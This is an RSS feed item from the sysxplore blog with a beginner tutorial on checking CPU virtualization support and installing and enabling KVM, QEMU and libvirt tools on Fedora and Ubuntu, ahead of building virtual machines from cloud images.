<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[sysxplore]]></title><description><![CDATA[Download my Bash Scripting Handbook on newsletter signup for FREE]]></description><link>https://blog.sysxplore.com</link><image><url>https://substackcdn.com/image/fetch/$s_!dg1-!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03f31e36-0026-4079-91a9-cceae57906b1_1280x1280.png</url><title>sysxplore</title><link>https://blog.sysxplore.com</link></image><generator>Substack</generator><lastBuildDate>Tue, 28 Apr 2026 12:35:09 GMT</lastBuildDate><atom:link href="https://blog.sysxplore.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[TRÄW🤟]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[sysxplore@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[sysxplore@substack.com]]></itunes:email><itunes:name><![CDATA[TRÄW🤟]]></itunes:name></itunes:owner><itunes:author><![CDATA[TRÄW🤟]]></itunes:author><googleplay:owner><![CDATA[sysxplore@substack.com]]></googleplay:owner><googleplay:email><![CDATA[sysxplore@substack.com]]></googleplay:email><googleplay:author><![CDATA[TRÄW🤟]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Spin Up Linux Virtual Machines Quickly with KVM Using Cloud Images]]></title><description><![CDATA[When most people start with virtualization, they reach for tools like VirtualBox or VMware.]]></description><link>https://blog.sysxplore.com/p/spin-up-linux-virtual-machines-quickly-with-kvm</link><guid isPermaLink="false">https://blog.sysxplore.com/p/spin-up-linux-virtual-machines-quickly-with-kvm</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Tue, 31 Mar 2026 19:48:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0d16496b-85b4-491f-ba8a-395b601ce5f0_5000x2625.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When most people start with virtualization, they reach for tools like VirtualBox or VMware.</p><p>You install the software, open the interface, create a new virtual machine, attach an ISO, and go through the operating system installation step by step.</p><p>It works.</p><p>Linux also provides a native virtualization stack built around KVM and QEMU.</p><p>With it, you can work directly with virtual machine disk images and build systems in a faster and more flexible way.</p><p>Instead of performing a full operating system installation each time, you can start from an existing image, prepare it for your environment, and run it as a virtual machine.</p><p>This approach is common in real-world environments where systems need to be created quickly, tested, replaced, or rebuilt without repeating the same installation process each time.</p><p>In this guide, you will use KVM to build a simple lab environment by importing and working with disk images.</p><p>You will go through the process step by step, from preparing the image to creating the virtual machine and accessing it.</p><h2><strong>Checking if your system supports virtualization</strong></h2><p>Before working with KVM, your system needs to support hardware virtualization.</p><p>Most modern CPUs already support it, but it&#8217;s worth verifying.</p><p>Run the following command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ grep -E 'vmx|svm' /proc/cpuinfo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AhV4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AhV4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 424w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 848w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1272w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png" width="1036" height="522" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:522,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:144635,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AhV4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 424w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 848w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1272w, https://substackcdn.com/image/fetch/$s_!AhV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c150d3e-1d21-46ca-8d7e-d1a3aa14a299_1036x522.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command looks inside /proc/cpuinfo, which contains information about your processor, and searches for specific flags.</p><p>The vmx flag indicates Intel virtualization support, while svm indicates AMD virtualization support.</p><p>If your system supports virtualization, you should see one of these flags in the output, usually repeated across multiple lines.</p><p>For example, you might see something like vmx or svm listed among the CPU features.</p><p>If you only want to confirm support without scrolling through the output, you can return the number of occurrences instead:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ egrep -c '(vmx|svm)' /proc/cpuinfo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!j4ai!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!j4ai!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 424w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 848w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1272w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png" width="1036" height="150" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:150,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16606,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!j4ai!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 424w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 848w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1272w, https://substackcdn.com/image/fetch/$s_!j4ai!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b95f09d-4b3f-4d19-9d2a-e22763788770_1036x150.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>A value greater than 0 confirms that virtualization is supported.</p><p>If these command returns no output, virtualization is either not supported or disabled in the BIOS or UEFI settings. In most cases, it is simply disabled, and you can enable it from your firmware settings under options such as Intel VT-x or AMD-V.</p><ul><li><p>KVM relies on hardware virtualization to run virtual machines efficiently. Without it, you won&#8217;t be able to use KVM as expected.</p></li></ul><h2><strong>Installing the KVM tools</strong></h2><p>KVM itself is part of the Linux kernel.</p><p>What you install are the tools used to create, manage, and interact with virtual machines.</p><p>For this demonstration, I&#8217;m using Fedora 42.</p><p>If you&#8217;re running Fedora or any Red Hat&#8211;based system, you can install the required packages with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo dnf install qemu-kvm libvirt virt-install guestfs-tools genisoimage virt-manager virt-viewer</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!f_-9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f_-9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 424w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 848w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1272w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png" width="1036" height="519" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:157588,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!f_-9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 424w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 848w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1272w, https://substackcdn.com/image/fetch/$s_!f_-9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80f5a5c1-ad5e-48f3-85a1-8fa300c45e1e_1036x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These packages give you everything needed to work with KVM.</p><p>qemu-kvm provides the virtualization backend, libvirt handles virtual machine management and networking, and virt-install allows you to create virtual machines from the command line.</p><p>The guestfs-tools package includes tools like virt-customize, which you&#8217;ll use later to prepare disk images.</p><p>The remaining tools, such as virt-manager and virt-viewer, provide graphical access if you need it, while genisoimage is useful when working with ISO files.</p><p>If you are using Ubuntu or another Debian-based system, you can install the equivalent tools with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst libguestfs-tools genisoimage virt-manager virt-viewer</code></pre></div><p>After installation, make sure the libvirtd service is running:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ systemctl status libvirtd</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_esa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_esa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 424w, https://substackcdn.com/image/fetch/$s_!_esa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 848w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1272w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png" width="1036" height="558" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:558,&quot;width&quot;:1036,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:128733,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_esa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 424w, https://substackcdn.com/image/fetch/$s_!_esa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 848w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1272w, https://substackcdn.com/image/fetch/$s_!_esa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1cb4d2f-5bfc-49fb-9b15-be7a4f53fc95_1036x558.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If it is not running, start and enable it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo clearsystemctl start libvirtd
$ sudo systemctl enable libvirtd</code></pre></div><p>To manage virtual machines without using sudo, add your user to the libvirt group:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo usermod -aG libvirt $USER</code></pre></div><p>Instead of logging out and back in, you can apply the change immediately with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ newgrp libvirt</code></pre></div><p>The newgrp command allows you to switch your current session to a new group without logging out, so the updated permissions take effect right away.</p><p>If you prefer not to modify group membership, you can run the commands as root or continue using sudo.</p><blockquote><p>If your user is not part of the libvirt group, you may run into permission errors when creating or managing virtual machines.</p></blockquote><p>Now that the tools are installed, the next step is to get a disk image that we can use to build our lab.</p><div><hr></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KgYn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KgYn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 424w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 848w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1272w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KgYn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic" width="1200" height="630" 